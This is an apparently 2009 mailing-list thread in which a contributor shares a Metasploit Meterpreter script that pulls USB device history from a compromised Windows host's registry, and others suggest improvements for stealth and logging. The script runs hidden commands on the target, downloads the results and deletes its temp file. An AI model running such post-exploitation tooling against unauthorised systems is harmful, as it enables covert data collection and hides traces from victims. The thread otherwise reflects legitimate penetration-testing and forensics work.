Great! Thanks for the tips. Just got started with this and I'm learning a lot and having fun!! Any tips are welcome. I'll update my script this weekend

Sent from my iPhone

On Aug 14, 2009, at 19:11, Carlos Perez <[email protected]> wrote:



if you want the data saved to a database, printed to the user and saved in the logfile in case you created a db on and it is loaded in metasploit, if not it will not be saved to it

include Msf::Auxiliary::Report
message.each_line do |line|
    print_status(line)
report_note(:host => host, :proto => 'TLV', :port => port, :type => 'METERPRETER_INSTALLEDUSB', :data => "#{line}")
    filewrt(log, line)
end

I hope this is of help. Any other area you might need any advice let me know I'm more than happy to help.


On Fri, Aug 14, 2009 at 7:58 PM, Carlos Perez <[email protected] > wrote: save the data in the .msf3 log instead of writing it on the target, this will make your script smaller and more stealthy.
here is the function I use for this on my scripts:

#Function for writing data to a file
def filewrt(file2wrt, data2wrt)
        output = ::File.open(file2wrt, "a")
        data2wrt.each_line do |d|
                output.puts(d)
        end
        output.close
end

just give it the log file and the data like this

log = "#{logs}\\installedusb.txt"
filewrt(log, message)

to create the message string variable do it like this:

message << " === === === === === === === === === === === === === === === === === ===================================================================== \n"
 message << "\tFriendly Name  : #{friendlyName.data}\n"
 message <<   "\t\t - Class      : #{cl.data}\n"
 message <<  "\t\t- DeviceDesc : #{deviceDesc.data}\n"
 message << "\t\t - HardwareID : #{hardwareID.data}\n"

Iterate thru each key, get the values and close the key before going to the next.

I hope this helps


On Fri, Aug 14, 2009 at 4:47 PM, Dimitrios Kapsalis <[email protected] > wrote: Here is a meterpreter script to pull the USB devices from the registry.

Few issues in saving the output to a text file on the target before downloading it. think its the \n that i'm adding. If anyone has any tips I'm all ears.

As well the output on the meterpreter screen will be

run installedusb
[*] New session on 192.168.0.50:43304...
[*] -- Files saved to C:\Documents and Settings\user\Application Data/.msf3/logs/installedsoftware/192.168.0.50_20090814.373838964...
[*] -- Data logged to C:\DOCUME~1\user\LOCALS~1\Temp\25.dat....
[*] Dumping software installed on pc per registry HKLM\SYSTEM \CurrentControlSet\Enum\USBSTOR... [*] === === === === === === === === === === === === === === === === === =====================================================================
        * Friendly Name  : Apple iPod USB Device
            - Class      : DiskDrive
            - DeviceDesc : Disk drive
- HardwareID : USBSTOR\DiskApple___iPod____________1.62? USBSTOR\DiskApple___iPod____________?USBSTOR\DiskApple___?USBSTOR \Apple___iPod____________1?Apple___iPod____________1?USBSTOR\GenDisk? GenDisk??

[*]     -- Downloading C:\DOCUME~1\user\LOCALS~1\Temp\25.dat....
[*] -- C:\Documents and Settings\user\Application Data/.msf3/ logs/installedsoftware/ 192.168.0.50_20090814.373838964\installedusb.txt downloaded!
[*] ...Done!!
[*] Completed processing on 192.168.0.50:43304...


[code]
#
# This is a Meterpreter script designed to be used by the Metasploit Framework
#
# Meterpreter script for pulling forensics data from registry for any USB device
# connected to system
#
# Provided by Dimitrios Kapsalis
# Verion: 0.1


require 'fileutils'

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Print message to file on target
# === === === === === === === === === === === === === === === === === === === === === =====================================================================
def m_writetofile(session,file,message)
  cmd = "cmd /c echo #{message} >> #{file}"
  m_exec(session, cmd)
end

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Delete a file (meterpreter has no unlink API yet)
# === === === === === === === === === === === === === === === === === === === === === =====================================================================
def m_unlink(session, path)
r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
  while(r.name)
    select(nil, nil, nil, 0.10)
  end
  r.close
end

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Exec a command and return the results
# === === === === === === === === === === === === === === === === === === === === === =====================================================================
def m_exec(session, cmd)
  begin
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
    b = ""
    while(d = r.channel.read)
      b << d
    end
    r.channel.close
    r.close
    b
  rescue ::Exception => e
    print_status("Error Running Command #{cmd}: #{e.class} #{e}")
  end
end

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Function to upload files
# === === === === === === === === === === === === === === === === === === === === === =====================================================================
def m_upload(session,file)
  location = session.fs.file.expand_path("%temp%")
  fileontrgt = "#{location}\\#{rand(100)}.exe"
  print_status("\t-- Uploading #{file}....")
  session.fs.file.upload_file("#{fileontrgt}","#{file}")
  print_status("\t-- #{file} uploaded!")
  print_status("\t-- File on target #{fileontrgt}")
  return fileontrgt
end

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Function to download files
# === === === === === === === === === === === === === === === === === === === === === =====================================================================
def m_download(session,src,dst)
  location = session.fs.file.expand_path("%temp%")
  print_status("\t-- Downloading #{src}....")
  session.fs.file.download_file("#{dst}","#{src}")
  print_status("\t-- #{dst} downloaded!")
end

# === === === === === === === === === === === === === === === === === === === === === =====================================================================
# Script proper
# === === === === === === === === === === === === === === === === === === === === === =====================================================================

# The 'client' object holds the Meterpreter session
# Aliasing here for plugin compatibility
session = client

script_name = "installedsoftware"

# Extract the host and port
host,port = session.tunnel_peer.split(':')

print_status("New session on #{host}:#{port}...")

# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs',script_name , host + "_" + Time.now.strftime("%Y%m%d.%M%S") +sprintf("%.5d",rand(100000)) )

# Create the log directory
::FileUtils.mkdir_p(logs)

print_status("-- Files saved to #{logs}...")

location = session.fs.file.expand_path("%temp%")
filename = "#{rand(100)}.dat"
fileontrgt = "#{location}\\#{filename}"
print_status("-- Data logged to #{fileontrgt}....")


begin

#== === === === === === === === === === === === === === === === === === === === ==================================================================== #== === === === === === === === === === === === === === === === === === === === ==================================================================== #== === === === === === === === === === === === === === === === === === === === ==================================================================== # Pull USB history Pull USB history Pull USB history Pull USB history Pull USB history Pull USB history Pull USB history #== === === === === === === === === === === === === === === === === === === === ==================================================================== #== === === === === === === === === === === === === === === === === === === === ==================================================================== #== === === === === === === === === === === === === === === === === === === === ====================================================================

#== === === === === === === === ====================================================================
    # Dump USB device history
#== === === === === === === === ====================================================================

    key = "HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR"
    root_key, base_key = session.sys.registry.splitkey(key)


message = "-- -------------------------------------------------------------------"
    m_writetofile(session,fileontrgt,message)
message = "Dumping software installed on pc per registry # {key}... "
    print_status(message)
    m_writetofile(session,fileontrgt,message)
message = "-- -------------------------------------------------------------------"
    m_writetofile(session,fileontrgt,message)

session.sys.registry.create_key(root_key, base_key).each_key() do |device|
        puts device

        # =========================================
        # ...
        # =========================================
session.sys.registry.create_key(root_key, "#{base_key}\\# {device}").each_key() do |intermediate|
            puts intermediate

rk = session.sys.registry.open_key(root_key, "#{base_key} \\#{device}\\#{intermediate}", KEY_READ)
            cl = rk.query_value("class")
            deviceDesc = rk.query_value("DeviceDesc")
            friendlyName = rk.query_value("FriendlyName")
            hardwareID = rk.query_value("HardwareID")
message = " === === === === === === === === === === === === === === === === === ===================================================================== \n" << " * Friendly Name : # {friendlyName.data}\n" <<
                      "            - Class      : #{cl.data}\n" <<
" - DeviceDesc : #{deviceDesc.data} \n" << " - HardwareID : #{hardwareID.data} \n"


            print_status(message)
            m_writetofile(session,fileontrgt,message)
        end
    end

#== === === === === === === === ====================================================================
    # download output file
#== === === === === === === === ====================================================================
    m_download(session, fileontrgt, "#{logs}\\installedusb.txt")

    sleep(3)
#== === === === === === === === ====================================================================
    # delete exe from target system
#== === === === === === === === ====================================================================
    m_unlink(session, fileontrgt)
    print_status("...Done!!")

rescue ::Exception => e
    print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end

print_status("Completed processing on #{host}:#{port}...")
[/code]




On Fri, Aug 14, 2009 at 12:57 PM, Dave Hull <[email protected]> wrote:
The user assist keys are ROT13 encoded!

There's just so much good stuff. Volume shadow copies and restore
points too. And the list goes on...
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